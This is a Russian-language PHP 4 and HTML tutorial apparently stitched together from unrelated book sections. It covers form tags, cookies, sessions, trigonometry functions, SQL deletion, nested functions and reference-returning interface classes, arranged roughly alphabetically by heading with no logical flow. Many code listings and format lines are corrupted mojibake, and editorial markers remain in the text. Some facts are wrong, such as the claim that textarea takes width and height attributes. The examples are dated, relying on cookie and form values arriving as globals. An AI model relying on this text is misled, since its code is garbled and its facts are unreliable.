Тэг <select>— список
У нас остался последний тэг — <select>. Он представляет собой выпадающий (или раскрытый) список. Одновременно могут быть выбрана одна или несколько строк. Формат этого тэга следующий:
<select name=èìÿ [size=ðàçìåð] [multiple]>
<option [value1=çíà÷åíèå1][selected]>Ñòðîêà1</option>
<option [value2=çíà÷åíèå2][selected]>Ñòðîêà2</option>
. . .
<option [valueN=çíà÷åíèåN][selected]>ÑòðîêàN</option>
</select>
Мы видим, что и этот тэг имеет парный закрывающий. Кроме того, его существование немыслимо без тэгов <option>, которые и определяют содержимое списка.
Параметр size задает, сколько строк будет занимать список. Если size равен 1, то список будет выпадающим, в противном случае — занимает size
строк и имеет полосы прокрутки. Если указан атрибут multiple, то будет разрешено выбирать сразу несколько элементов из списка, а иначе — только один. Кроме того, атрибут multiple не имеет смысла для выпадающего списка.
Каждая строка списка определяется своим тэгом <option>. Если в нем задан атрибут value, как это часто бывает, то соответствующая строка списка будет идентифицироваться его значением, а если не задан, то самим текстом этой строки (считается, что value равно самой строке). Кроме того, если указан параметр selected, то данная строка будет изначально выбранной. Кстати, чуть не забыл: закрывающие тэги </option> можно опускать, если упрощение не создает конфликтов с синтаксисом HTML (в действительности это можно делать почти всегда).
Давайте теперь посмотрим, в какой форме пересылаются данные списка сценарию. Ну,
со списком одиночного выбора вроде бы ясно — просто передается пара имя=значение, где имя — имя тэга <select>, а значение — идентификатор выбранного элемента (то есть, либо атрибут value, либо сама строка элемента списка).
Тэг <textarea>— многострочное поле ввода текста
Теперь посмотрим, что же из себя представляет тэг <textarea>. Смысл у него тот же, что и у <input type=text>, разве что может быть отправлена не одна строка текста, а сразу несколько. Формат тэга следующий:
<textarea
name=èìÿ
[width=øèðèíà][height=âûñîòà]
[wrap=òèï]
>Òåêñò, êîòîðûé áóäåò èçíà÷àëüíî îòîáðàæåí â òåêñòîâîì ïîëå</textarea>
Как легко видеть, этот тэг имеет закрывающий парный. Параметр width задает ширину поля ввода в символах, а height — его высоту. Параметр wrap определяет, как будет выглядеть текст в поле ввода. Он может иметь одно из трех значений (по умолчанию подразумевается none).
r Virtual — наиболее удобный тип вывода. Справа от текстового поля выводится полоса прокрутки, и текст, который набирает пользователь, внешне выглядит разбитым на строки в соответствии с шириной поля ввода, причем перенос осуществляется по словам. Однако символ новой строки вставляется в текст только при нажатии <Enter>.
r Physical — зависит от реализации браузера, обычно очень похож на none.
r None — текст отображается в том виде, в котором заносится. Если он не умещается в текстовое поле, активизируются линейки прокрутки (в том числе, и горизонтальная).
После отправки формы текст, который ввел пользователь, будет, как обычно, представлен парой имя=текст, аналогично тэгу однострочного поля ввода <input type=text>.
Тэг выбора файла
Давайте просмотрим, какой тэг надо вставить в форму, чтобы в ней появился элемент управления загрузкой файла— текстовое поле с кнопкой Browse справа. Таким тэгом является разновидность <input>:
<input type=file name=имя_элемента [size=размер_поля]>
Сценарию вместе с содержимым файла передается и некоторая другая информация, а именно:
r размер файла;
r имя файла в системе клиента;
r тип файла.
Скоро мы узнаем, как извлечь эту информацию в программе на PHP.
Тэг загрузки файла (file)
Теперь вернемся к тому, с чего начали — к загрузке файлов. Сначала выясним, какой тэг надо вставить в форму, чтобы в ней появился соответствующий элемент управления — поле ввода текста с кнопкой Browse
справа. Таким тэгом является разновидность <input>:
<input type=file
name=èìÿ_ýëåìåíòà
[value=èìÿ_ôàéëà]
>
Пусть пользователь выбрал какой-то файл (скажем, с именем каталог\
имя_файла) и нажал кнопку отправки. В этом случае для нашего элемента формы создается один блок примерно такого вида:
----------------127462537625367\n
Content-Disposition: form-data; name="èìÿ_ýëåìåíòà";
Ä filename="êàòàëîã\èìÿ_ôàéëà"\n \n
........
Áèíàðíûå äàííûå ýòîãî ôàéëà ëþáîé äëèíû.
Çäåñü ìîãóò áûòü ñîâåðøåííî ëþáûå
áàéòû áåç âñÿêîãî îãðàíè÷åíèÿ.
........
\n
Мы видим, что сценарию вместе с содержимым файла передается и его имя в системе пользователя (параметр filename).
На этом, пожалуй, и завершим обозрение возможностей загрузки файлов.
Надеюсь, я посеял в вас неприязненное отношение к подобным методам: действительно, программировать это — не самое приятное занятие на свете (укажу только на то, что придется использовать приемы программной буферизации, чтобы правильно найти разделитель). Вот еще один довод в пользу PHP, в котором не нужно выполнять в принципе никакой работы, чтобы создать полноценный сценарий с возможностью загрузки файла.
Track_vars on|off
Этот параметр очень полезен при программировании[E122][DK123] . Если он установлен в On, все данные, доставленные методами GET и POST, а также Cookies, будут дополнительно помещены в глобальные массивы $HTTP_GET_VARS, $HTTP_POST_VARS и $HTTP_COOKIE_VARS соответственно.
Существуют и другие, более специфичные, параметры, такие как настройка интерфейсов с базами данных, настройка почтовых возможностей и др. Обычно их установки по умолчанию удовлетворяют всех. Подробнее о них можно прочитать в Приложении 2[E124] или на сайте http://www.php.net.
Традиционное построение страниц
Итак, сосредоточим все свое внимание на том, как желательно строить сценарии, чтобы максимально упростить проблему редизайна, а вместе с ней — добавление новых страниц в карту сервера. Многие программисты ограничиваются тем, что разбивают свои страницы на 3 логических блока: верхнюю часть (header), центральную часть (text) и нижний участок страницы (footer). Каждая из этих составляющих хранится в отдельном файле. Центральный блок (text) является главным: до начала работы он загружает из файла общую для всех страниц верхнюю часть, а в конце выводит нижнюю. Вот как примерно выглядит шаблон страницы при такой структуре сценария (листинг 30.7):
Листинг 30.7. Традиционное построение шаблона
<?include "Interface.php"?>
<?include "$DOCUMENT_ROOT/templ/header.htm"?>
Здесь идет главный текст страницы,
возможно, включающий данные,
сгенерированные интерфейсом Interface.php
<?include "$DOCUMENT_ROOT/templ/footer.htm"?>
Предполагается, что файлы header.htm и footer.htm хранятся в подкаталоге /templ корневого каталога сервера и содержат участки страниц, которые должны быть выведены до и после основного текста страницы. Если сайт небольшой и в нем используется не так уж много различных шаблонов страниц, данное решение является самым простым. В таких ситуациях его применение оправдано. Но нас интересует оформление больших и сложных сайтов. Предположим, наш ресурс содержит сотни страниц, построенных по описанной схеме. Давайте взглянем на проблему с этой позиции.
Трехуровневая схема
Итак, в отличие от двухуровневой, трехуровневая схема построения сценария содержит специально выделенный код, или ядро, которое совместно используют все "генераторы данных". Почему я заключил последний термин в кавычки? Да потому, что теперь мы будем называть его по-другому, а именно, интерфейсным кодом
(или просто интерфейсом, хотя это, возможно, и не совсем корректно) сценария. Генератор данных— по-прежнему сущность, являющаяся объединением ядра и интерфейса.
Кроме того, при использовании трехуровневой схемы пользователь никогда "не видит" генератор данных. Он всегда имеет дело только с шаблоном страницы, который иногда выглядит, как программа. Это происходит при обращении к шаблону (а следовательно, и к генератору данных) из формы в браузере.
Тригонометрия
Далее рассмотрим тригонометрические функции. Правда, они редко применяются при программировании сценариев[E63], но все же...
float acos(float $arg)
Возвращает арккосинус аргумента.
float asin(float $arg)
Возвращает арксинус.
float atan(float $arg)
Возвращает арктангенс аргумента.
float atan2(float $y, float $x)
Возвращает арктангенс величины $y/$x, но с учетом той четверти, в которой лежит точка ($x, $y). Эта функция возвращает результат в радианах, принадлежащий отрезку от -? до ?. Вот пара примеров:
$alpha=atan2(1,1); // $alpha==pi/4
$alpha=atan2(-1,-1); // $alpha==-3*pi/4
float sin(float arg)
Возвращает синус аргумента. Аргумент задается в радианах.
float cos(float $arg)
Возвращает косинус аргумента.
float tan(float arg)
Возвращает тангенс аргумента, заданного в радианах.
double pi()
Возвращает число ?. Эту функцию в PHP версии 4 обязательно нужно вызывать с парой пустых скобок (в отличие от PHP 3):
echo pi()*10;
Впрочем, наверное, лучше будет воспользоваться константой M_PI?..
Удаление таблицы
drop table ÈìÿÒàáëèöû
Удаляет таблицу ИмяТаблицы. Таблица не обязательно должна быть пустой, так что будьте внимательны,
чтобы случайно не "аннулировать"
нужную таблицу с данными.
Удаление записей
delete from ÈìÿÒàáëèöû where Âûðàæåíèå
Удаляет из таблицы ИмяТаблицы все записи, для которых выполнено Выражение. Параметр Выражение — это просто логическое выражение, составленное почти что по правилам PHP. Вот показательный пример:
(id<10) and (name regexp 'a*b') and (age=25)
В выражении, помимо имен полей, констант и операторов, могут также встречаться простейшие "вычисляемые"
части, например: (id<10+11*234).
Вообще говоря, формат выражения един для всех команд запросов, которые мы встретим в дальнейшем. Например, он же используется и в операции select, и в операции update.
Уничтожение
Уничтожение переменной реализуется оператором Unset(). После этого действия переменная удаляется из внутренних таблиц интерпретатора, т. е. программа начинает выполняться так, как будто переменная еще не была инициализирована. Например:
// Ïåðåìåííîé $a åùå íå ñóùåñòâóåò
$a="Hello there!";
// Òåïåðü $a èíèöèàëèçèðîâàíà
// ... êàêèå-òî êîìàíäû, èñïîëüçóþùèå $a
echo $a;
// À òåïåðü óäàëèì ïåðåìåííóþ $a
Unset($a);
// Òåïåðü ïåðåìåííîé $a îïÿòü íå ñóùåñòâóåò
echo $a; // Îøèáêà: íåò òàêîé ïåðåìåííîé $a
Впрочем, применение Unset() для работы с обычными переменными редко бывает целесообразно. Куда как полезнее использовать его для удаления элемента в ассоциативном массиве. Например, если в массиве $A нужно удалить элемент с ключом for_del, это можно сделать так:
Unset($A["for_del"]);
Теперь элемент for_del не просто стал пустым, а именно удалился, и последующий перебор элементов массива его не обнаружит.
Управление интерпретатором
PHP, как и любая другая крупная программа, имеет множество различных настроечных параметров. Слава богу, большинство из них по умолчанию уже имеют правильные значения. Тем не менее, нередко приходится эти параметры изменять или проверять. В этой главе мы вкратце рассмотрим основные возможности конфигурирования PHP и некоторые полезные функции, управляющие работой интерпретатора.
Управление сессиями
Сессии, наконец-то появившиеся в PHP версии 4, представляют собой механизм, позволяющий хранить некоторые (и произвольные) данные, индивидуальные для каждого пользователя (например, его имя и номер счета), между запусками сценария.
![](image/protokoly-peredachi-dannyh_1.gif)
Термин "сессия" является транслитерацией от английского слова session, что в буквальном переводе должно бы означать "сеанс". Однако последнее слово в программистском жаргоне не особенно-то прижилось (насколько я знаю), поэтому я буду употреблять термин "сессия". И да простят меня студенты, если у них это вызывает нехорошие ассоциации.
Фактически, сессия — это некоторое место долговременной памяти (обычно часть на жестком диске и часть — в Cookies браузера), которое сохраняет свое состояние между вызовами сценариев одним и тем же пользователем. Иными словами, поместив в сессию переменную (любой структуры), мы при следующем запуске сценария получим ее в целости и сохранности. Трудно переоценить удобства, которые это предоставляет нам, программистам.
User-Agent
r Формат: User-Agent: Mozilla/4.5 [en] (Win95; I)
r Переменная окружения: HTTP_USER_AGENT
Уточняет версию браузера (в данном случае это Netscape Navigator).
Установка Cookie
Мы подошли к вопросу: как же сценарий может установить Cookie в браузере пользователя? Ведь он работает "на одном конце провода", а пользователь — на другом. Решение довольно логично: команда установки Cookie — это просто один из заголовков ответа, передаваемых сервером браузеру. То есть, перед тем как выводить Content-type, мы можем указать некоторые команды для установки Cookie. Выглядит такая команда следующим образом (разумеется, как и всякий заголовок, записывается она в одну строку):
Set-Cookie: name=value; expires=äàòà; domain=èìÿ_õîñòà; path=ïóòü; secure
Существует и другой подход активизировать Cookie — при помощи HTML-тэга <meta>. Соответственно, как только браузер увидит такой тэг, он займется обработкой Cookie. Формат тэга такой:
<meta http-equiv="Set-Cookie"
content="name=value; expires=äàòà; domain=èìÿ_õîñòà; path=ïóòü; secure"
>
Мы можем видеть, что даже названия параметров в этих двух способах одинаковы. Какой из них выбрать — решать вам: если все заголовки уже выведены к тому моменту, когда вам потребовалось установить Cookie, используйте тэг <meta>. В противном случае лучше взять на вооружение заголовки, т. к. они не видны пользователю, а чем пользователь меньше видит при просмотре исходного текста страницы в браузере — тем лучше нам, программистам.
![](image/predislovie_1.gif)
Возможно, вы спросите, нахмурив брови: "Что же, с точки зрения программиста хороший пользователь — слепой пользователь?" Тогда я отвечу: "Что вы, нет и еще раз нет! Такой пользователь хорош лишь для дизайнера, для программиста же желателен пользователь безрукий (или, по крайней мере, лишенный клавиатуры и мыши)".
Вот что означают параметры Cookie:
После вызова функции SetCookie() только что созданный Cookie сразу появляется среди глобальных переменных как переменная с заданным в параметре $name именем. Она появится и при следующем запуске сценария — даже если SetCookie() в нем и не будет вызвана. Параметр $value автоматически URL-кодируется при посылке на сервер, а при получении Cookie — автоматически декодируется, как это происходит и с данными формы, так что нам не нужно об этом заботиться.
И еще один пример: счетчик посещения страницы конкретным посетителем. Запуская данный сценарий, пользователь будет видеть, сколько раз он уже гостил на вашей странице.
Листинг 21.1. Индивидуальный счетчик посещений
if(!isSet($Counter)) $Counter=0;
$Counter++;
SetCookie("Counter",$Counter,0x7FFFFFFF);
echo "Âû çàïóñòèëè ýòîò сценарий $Counter ðàç!";
Видите, как просто мы храним информацию о посещениях, даже если наш сайт посещают миллионы человек в день? А теперь представьте себе, какой код пришлось бы написать, чтобы сделать аналогичную программу, но с сохранением данных на сервере...
Возможно, вам понадобится сохранять в Cookies не только строки, но и сложные объекты. Для этой цели объект нужно сначала преобразовать в строку (например, при помощи Serialize()) и поместить ее в Cookie.
А потом, наоборот, распаковать строку, используя Unserialize().
Однако, если сохраняемый массив имеет небольшой размер, каждый его элемент можно разместить в отдельном Cookie:
SetCookie("Arr[0]","aaa");
SetCookie("Arr[1]","bbb");
SetCookie("Arr[2][0]","ccc"); // многомерный массив
По сути, Cookie с именем Arr[0] ничем не отличается с точки зрения браузера и сервера от обычного Cookie. Зато PHP, получив Cookie с именем, содержащим квадратные скобки, поймет, что это на самом деле элемент массива, и создаст его (массив). Тут нет ничего удивительного — ведь PHP поступает точно так же и с переменными, поступившими из формы пользователя... Правда, в отличие от форм, не советую вам особо увлекаться подобными Cookies: дело в том, что в большинстве браузеров число Cookies, которые могут быть установлены одним сервером, ограничено, причем ограничено именно их количество, а не суммарный объем. Поэтому, наверное, лучше будет все-таки воспользоваться функцией Serialize() и установить один Cookie, а еще лучше — написать собственную функцию сериализации, которая упаковывает данные чуть эффективнее.
Установка обработчиков сессии
До сих пор мы с вами пользовались стандартными обработчиками сессии, которые PHP использовал каждый раз, когда нужно было сохранить или загрузить данные из временного хранилища. Возможно, они вас не устроят — например, вы захотите хранить переменные сессии в базе данных или еще где-то. В этом случае достаточно будет переопределить обработчики своими собственными функциями, и вот как оно делается.
Установка PHP и MySQL
![]() |
Давайте теперь перейдем к установке языка PHP версии 4, ради которого, собственно, мы и устанавливали сервер Apache. К сожалению, на момент написания этих строк у PHP не было нормальной setup-программы, которая могла бы установить PHP со всеми необходимыми нам модулями за один прием, как мы проделали это с Apache. Так что, возможно, его инсталляция покажется вам чуть сложнее.
Прежде всего, вам нужно запастись терпением и загрузить с официального сайта PHP http://www.php.net
из секции Downloads два файла: один с расширением zip, а другой — exe. Ссылки на эти файлы находятся почти на самом верху страницы, после заголовка Win32 Binaries. Первый файл представляет собой полную версию PHP 4, но не имеет удобной программы установки, а второй, наоборот, является автоматической программой установки, но не содержит в себе наиболее часто используемых модулей.
![](image/protokoly-peredachi-dannyh_1.gif)
Так было на момент написания данной книги. Возможно, в будущем разработчики PHP будут поставлять дистрибутив в виде одного большого exe-файла, но пока это не так.
Советую вам также скопировать полную документацию по PHP, ссылка на которую есть на странице чуть ниже. Уверен, в будущем она еще не раз вас выручит.
Стоит сказать еще пару слов насчет версии PHP. Язык постоянно совершенствуется, и на момент создания книги последней версией была 4.0.3. Скорее всего, когда вы будете читать эти строки, выйдет более новая версия — например, 4.0.10. Думаю, наилучшим решением будет загрузить ту, что поновее, потому что в ней, возможно, исправлены некоторые ошибки из предыдущих версий языка. Главное, чтобы первая цифра была 4, потому что "третий" PHP сильно проигрывает "четвертому" по количеству поддерживаемых функций.
Установка типа переменной
Существует функция, которая пытается привести тип указанной переменной к одному из стандартных (например, вам может понадобиться перевести строку в целое число). Вот она.
settype($a,$type)
Функция пытается привести тип переменной $a к типу $type ($type — одна из строк, возвращаемых gettype(), кроме boolean). Если это сделать не удалось (например, в $a "нечисловая" строка, а мы вызываем settype
($a,"integer")), возвращает false.
Узел
Любой компьютер, подключенный к Интернету, имеет свой уникальный IP-адрес. Нет адреса— нет узла. Узел — совсем не обязательно сервер (типичный пример — клиент, подключенный через модем к провайдеру). Вообще, мы можем дать такое определение: любая сущность, имеющая уникальный IP-адрес в Интернете, называется узлом. С этой (логической) точки зрения Интернет можно рассматривать, как множество узлов, каждый из которых потенциально может связаться с любым другим. Заметьте, что на одной системе может быть расположено сразу несколько узлов, если она имеет несколько IP-адресов. Например, один узел может заниматься только доставкой и рассылкой почты, второй — исключительно обслуживанием WWW, а на третьем работает DNS-сервер.
Помните, мы говорили о том, что TCP использует термин "процесс", и каждый процесс для него однозначно идентифицируется IP-адресом и номером порта. Так вот, этот самый IP-адрес и есть узел.
Value
Текст, который будет рассматриваться как значение Cookie. Важно отметить, что этот текст (ровно как и строка названия Cookie) должен быть URL-кодирован. Таким образом, я должен отметить неприятный факт, что придется писать еще и функцию URL-кодирования (которая, кстати, раза в 2 сложнее, чем функция для декодирования, т. к. требует дополнительного выделения памяти).
Виртуальный хост
Это — хост, не имеющий уникального IP-адреса в Сети, но, тем не менее, доступный указанием какого-нибудь дополнительного адреса (например, его DNS-имени). В последнее время число виртуальных хостов в Интернете постоянно возрастает, что связано с повсеместным распространением протокола HTTP 1.1. С точки зрения Web-браузера (вернее, с точки зрения пользователя, который этим браузером пользуется) виртуальный хост выглядит так же, как и обычный хост — правда, его нельзя адресовать по IP-адресу.
К сожалению, все еще существуют версии браузеров, не поддерживающие протокол HTTP 1.1, которые соответственно не могут быть использованы для обращения к таким ресурсам.
![](image/protokoly-peredachi-dannyh_1.gif)
Понятие "виртуальный хост" не ограничивается только службой Web. Многие другие сервисы имеют свои понятия о виртуальных хостах, совершенно не связанные с Web и протоколом HTTP 1.1. Сервер sendmail службы SMTP (Simple Mail Transfer Protocol — Простой протокол передачи почты) также использует понятие "виртуальный хост", но для него это — лишь синоним главного, основного хоста, на котором запущен сервер. Например, если хост syn.com является синонимом для microsoft.com, то адрес E-mail my@syn.com на самом деле означает my@microsoft.com. Примечательно, однако, что виртуальный хост и в этом понимании не имеет уникального IP-адреса.
Вложенные функции
Стандарт PHP не поддерживает вложенные функции. Однако он поддерживает нечто, немного похожее на них. Вместо того чтобы, как и у переменных, ограничить область видимости для вложенных функций своими "родителями", PHP делает их доступными для всей остальной части программы, но только с того момента, когда "функция-родитель"
была из нее вызвана. Позднее, в части V книги, мы увидим, что этот (казалось бы) недочет оказывается довольно удобным способом для написания библиотек функций на PHP.
Итак, "вложенные" функции выглядят следующим образом (листинг 11.13):
Листинг 11.13. Вложенные функции
function Parent($a)
{ echo $a;
function Child($b)
{ echo $b+1;
return $b*$b;
}
return $a*$a*Child($a); // фактически возвращает $a*$a*($a+1)*($a+1)
}
// Вызываем функции
Parent(10);
Child(30);
// Ïîïðîáóéòå òåïåðü ÂÌÅÑÒÎ ýòèõ äâóõ âûçîâîâ ïîñòàâèòü òàêèå
// æå, íî òîëüêî â îáðàòíîì ïîðÿäêå. ×òî, âûäàåò îøèáêó?
// Почему, спрашиваете? Читайте дальше!
Мы видим, что нет никаких ограничений на место описания функции — будь то глобальная область видимости программы, либо же тело какой-то другой функции. В то же время, напоминаю, что понятия "локальная функция"
как такового в PHP все же (пока?) не существует.
Каждая функция добавляется во внутреннюю таблицу функций PHP тогда, когда управление доходит до участка программы, содержащего определение этой функции. При этом, конечно, само тело функции пропускается, однако ее имя фиксируется и может далее быть использовано в сценарии для вызова. Если же в процессе выполнения программы PHP никогда не доходит до определения некоторой функции, она не будет "видна", как будто ее и не существует — это ответ на вопросы, заданные внутри комментариев примера.
Давайте теперь попробуем запустить другой пример. Вызовем Parent() два раза подряд:
Parent(10);
Parent(20);
Последний вызов породит ошибку: функция Child()
уже определена. Это произошло потому, что Child() определяется внутри Parent(), и до ее определения управление программы фактически доходит дважды (при первом и втором вызовах Parent()). Поэтому-то интерпретатор и "протестует": он не может второй раз добавить Child() в таблицу функций.
![](image/protokoly-peredachi-dannyh_1.gif)
Для тех, кто раньше программировал на Perl, этот факт может показаться ужасающим. Что ж, действительно, мы не должны использовать вложенные функции PHP так же, как делали это в Perl.
Void
Пожалуй, самый простой тип, который применяется только для определения возвращаемого функцией значения, я бы его охарактеризовал так: "Не возвращает ничего ценного[В.О.24] ". В PHP функция не может ничего не возвращать (так уж он устроен), поэтому практически все void-функции возвращают false (то есть пустую строку).
Возврат функцией ссылки
До сих пор я рассматривал лишь функции, которые возвращают определенные значения— а именно, копии величин, использованных в инструкции return. Заметьте, это были именно копии, а не сами объекты. Например:
$a=100;
function R()
{ global $a; // объявляет $a глобальной
return $a; // возвращает значение, а не ссылку!
}
$b=R();
$b=0; // присваивает $b, а не $a!
echo $a; // âûâîäèò 100
В то же время мы бы хотели, чтобы функция R()
возвращала не величину, а ссылку на переменную $a, чтобы в дальнейшем с этой ссылкой можно было работать точно так же, как и с $a. Например, это может очень пригодиться в объектно-ориентированном программировании на PHP (основы которого мы рассмотрим в пятой части книги), когда функция должна возвращать именно объект, а не его копию.
Как же нам добиться нужного результата? Использование оператора $b=&R(), к сожалению, не подходит, т. к. при этом мы получим в $b
ссылку не на $a, а на ее копию. Если задействовать return &$a, то появится сообщение о синтаксической ошибке (PHP воспринимает & только в правой части оператора присваивания сразу после знака =). Но выход есть. Воспользуемся специальным синтаксисом описания функции, возвращающей ссылку (листинг 11.15):
Листинг 11.15. Возвращение ссылки
$a=100;
function &R() // & — возвращает ссылку
{ global $a; // объявляет $a глобальной
return $a; // возвращает значение, а не ссылку!
}
$b=&R(); // не забудьте & !!!
$b=0; // присваивает переменной $a!
echo $a; // выводит 0. Это значит, что теперь $b — синоним $a
Как видим, нужно поставить &
в двух местах: перед определением имени функции, а также в правой части оператора присваивания при вызове функции. Использовать амперсанд в инструкции return не нужно.
![](image/location_1.gif)
Лично я не нахожу такой синтаксис удобным. Достаточно по-ошибке всего один раз пропустить &
при вызове функции, как переменной $b
будет присвоена не ссылка на $a, а только ее копия со всеми вытекающими из этого последствиями. При использовании объектно-ориентированного программирования это может породить логические ошибки, выглядящие крайне странно. Поэтому я рекомендую применять возврат ссылки как можно реже, и только в тех случаях, когда это действительно необходимо.
Возврат интерфейса
Поговорим немного о том, что же собой представляют интерфейсы в объектно-ориентированном программировании. Это понятие довольно сложное, и о нем написано множество томов. Я, разумеется, не собираюсь их здесь пересказывать, потому что эта книга — о PHP, а не об идеологии ООП.
Интерфейсы — главная "изюминка"
практически всех сложных объектно-ориентированных систем (например, COM+, CORBA) и одно из основных понятий такого языка, как Java. Язык C++ также во всем поддерживает эту идеологию. Что же может дать нам PHP в этом отношении? К сожалению, довольно немного. И все-таки даже этого хватает, чтобы избавиться от недостатков, присущих ссылкам в PHP — во всяком случае, для нашей задачи.
Психологи утверждают, что яркие ассоциации запоминаются особенно хорошо. Что ж, проверим. Помните, когда мы были маленькими детьми, всем нам рассказывали сказки. Почему бы не заняться этим вновь? Как считаете, а?.. Ну и прекрасно (хотя я, право, не могу знать наверняка, что вы ответили). В скобках я буду давать комментарий, ведущий параллельную линию повествования. Итак, закроем глаза и представим себе большого кита (объект большого и сложного класса, например, MysqlTable), лениво плавающего по просторам океана (расположенного в оперативной памяти). Мы не настолько смелы, чтобы приблизиться к этому киту на достаточно близкое расстояние и дотронуться до него (не хотим использовать свойства или методы объекта напрямую). Если уж быть честными, мы даже не видим этого кита (не можем напрямую использовать в программе этот объект) — он слишком далеко (на него нет ссылок), и уж подавно не можем его сдвинуть с места (скопировать объект в другую переменную). Но зато, как мы знаем, его постоянно сопровождают рыбы-прилипалы (объекты-интерфейсы), маленькие и юркие (имеющие код небольшого размера), которые иногда заплывают достаточно далеко, чтобы мы могли с ними взаимодействовать. Этих рыб нам удалось выдрессировать, так что теперь они могут передавать киту любые наши приказы (передавать запросы на обслуживание) — разумеется, из тех, что сами понимают (для которых имеются соответствующие методы). Конечно, к киту могут "приклеиваться"
рыбы-прилипалы различных видов и по-разному дрессированные ( объект может иметь несколько разных интерфейсов). Важно то, что мы не можем взаимодействовать с китом никак иначе, кроме как посредством этих рыб-прилипал (не можем напрямую использовать объект). При этом мы имеем право совершенно свободно разводить прилипал в неволе (копировать объекты-интерфейсы), ведь киту (главному объекту) нет до этого ровным счетом никакого дела (в PHP объект "не знает", сколько у него интерфейсов и как они используются).
![](image/predislovie_1.gif)
Вроде бы понятно, не правда ли? А теперь давайте уберем все, кроме слов-связок, но оставим курсив. Вот что у нас получится. "Представим себе объект большого и сложного класса, например, MysqlTable, расположенный в оперативной памяти. Мы не хотим использовать свойства или методы объекта напрямую. Если уж быть честными, мы даже не можем напрямую использовать в программе этот объект — на него нет ссылок, и уж подавно не способны скопировать объект в другую переменную. Но зато, как мы знаем, его постоянно "сопровождают" объекты-интерфейсы, имеющие код небольшого размера. Эти интерфейсы могут передавать запросы на обслуживание — разумеется, из тех, для которых имеют соответствующие методы. Конечно, объект может иметь несколько разных интерфейсов. Важно то, что мы не можем напрямую использовать объект. При этом мы имеем право копировать объекты-интерфейсы — главному объекту нет до этого ровным счетом никакого дела. В PHP объект "не знает", сколько у него интерфейсов и как они используются".
Итак, основная идея такова: отделим интерфейс MysqlTable
от его реализации, т. е. напишем класс IMysql, с которым и будем всегда работать. Этот класс должен содержать все те методы, которые поддерживаются MysqlTable, только заниматься они будут ни чем иным, как просто переадресацией вызовов на "настоящие" объекты. А последние, в свою очередь, хранятся в глобальном массиве объектов, на элементы которого должно ссылаться одно из свойств IMysql. Реализуем эту стратегию для упрощенной версии MysqlTable, имеющей только метод Drop()
и конструктор (листинг 31.5):
Листинг 31.5. Упрощенный интерфейс к таблице MySQL
// Массив объектов-таблиц, созданных в программе
$GLOBALS["Tables"]=array(); // вначале массив пуст
// Реализация класса. Это — обычный класс без каких-либо особенностей.
// Давайте предположим, что объекты этого класса недопустимо
// копировать обычным способом.
class MysqlTable {
// . . .
function MysqlTable($name) { echo "MysqlTable($name)<br>"; }
function Drop() { echo "Drop()<br>"; }
}
// Класс-интерфейс
class IMysql {
var $id; // идентификатор реализации таблицы (MysqlTable) в $Tables
// Открывает таблицу с именем $name. Если эта таблица уже была
// открыта ранее, то ничего не делает и просто становится ее
// синонимом, иначе создает экземпляр объекта.
function IMysql($name)
{ global $Tables;
$this->id=$name;
// Если объект для таблицы $name еще не создан, создать его
if(!isset($Tables[$name])) $Tables[$name]=new MysqlTable($name);
// Иначе объект уже существует и ничего делать не надо
}
// Уничтожает таблицу. Переадресуем вызов реализации
function Drop() { $obj=&$GLOBALS['Tables'][$this->id]; $obj->Drop(); }
}
// Демонстрация работы с интерфейсом
$m=new IMysql("TestTable"); // объект создается
$m=new IMysql("TestTable"); // новый объект не создается!
$m->Drop(); // очищается единственный объект
![](image/predislovie_1.gif)
Откровенно говоря, мы реализовали здесь не совсем то, что в объектно-ориентированном проектировании принято называть "интерфейсом". По определению интерфейс не может иметь конструктора, класс же IMysql его имеет. Так что слово "интерфейс" здесь, мягко говоря, не подходит, но я буду называть класс IMysql именно так — для краткости. Думаю, в этом нет ничего страшного — такова уж специфика PHP, и это самое простое, что можно было бы предложить. В самом деле, не писать же на PHP специальные "классы-фабрики", занимающиеся исключительно созданием объектов, как это принято в ООП…
Таким образом, как при копировании, так и при создании объекта-таблицы, который был уже ранее создан в программе, новый экземпляр объекта не создается. Иными словами, мы можем иметь сколько угодно объектов класса IMysql, ссылающихся на одну и ту же таблицу, и при изменении одного из них это "почувствуют" и все остальные. Нужно только грамотно реализовать все переадресующие функции.
И еще насчет класса-реализации: лучше всего дать ему какое-нибудь некрасивое имя (например, __MysqlTableImpl__), чтобы какой-нибудь неопытный пользователь случайно не стал к нему обращаться напрямую, а не через IMysql.
Хочу заметить, что в настоящих объектно-ориентированных языках нет причин прибегать к столь странным ухищрениям, потому что в них есть такое понятие, как указатель. В этих языках подобъект класса-интерфейса IMysql содержится прямо внутри объекта MysqlTable, и указатель на него можно получить либо посредством явных преобразований типов, либо с помощью специальных функций для "отпочковывания"
интерфейса. Например, в COM+ эти функции часто называют QueryInterface(). Здесь же у нас вышло нечто вроде примитивной поддержки указателей (ведь объект класса IMysql именно указывает на "хозяина" типа MysqlTable, но не содержит его в себе!), которых в PHP нет.
Правда, получилось все это несколько неказисто (уж очень некрасивы и одинаковы функции переадресации...), зато механизм действительно работает и решает все поставленные задачи.
![]() |
Возврат ссылки на объект
Первый прием связан с новой возможностью PHP версии 4— ссылочными переменными. Помните, в части III этой книги мы говорили, что функция может возвращать ссылку на переменную (объект), а не только копию переменной?.. В нашем случае это оказывается довольно удобно. Вот как могла бы выглядеть функция OpenTable() и использование для нее ссылок (листинг 31.4):
Листинг 31.4. Использование ссылок
// Массив всех уже открытых таблиц. Ключи — имена таблиц, значения —
// соответствующие объекты.
$Tables=array();
. . .
// Функция OpenTable() возвращает ссылку на объект, соответствующий
// таблице MySQL с заданным именем. Копии объектов не создаются.
function &OpenTable($name,$Fields="")
{ global $Tables;
if(!Isset($Tables[$name]))
$Tables[$name]=new MysqlTable($name,$Fields);
return $Tables[$name];
}
. . .
// Вот так мы должны использовать эту функцию.
$Tbl1=&OpenTable("MyTable"); // создает новый объект
$Tbl2=&OpenTable("OtherTable"); // создает объект
$TblEqualsTo1=&OpenTable("MyTable"); // возвращает имеющийся объект!
// Теперь $Tbl1 и $TblEqualsTo1 ссылаются на один и тот же объект.
// То есть изменение $Tbl1 тут же отразится на $TblEqualsTo1,
// и наоборот.
Опытный программист сразу же заметит в подходе предыдущего примера два значительных недостатка. Оба они связаны с несовершенством механизма управления ссылками в PHP.
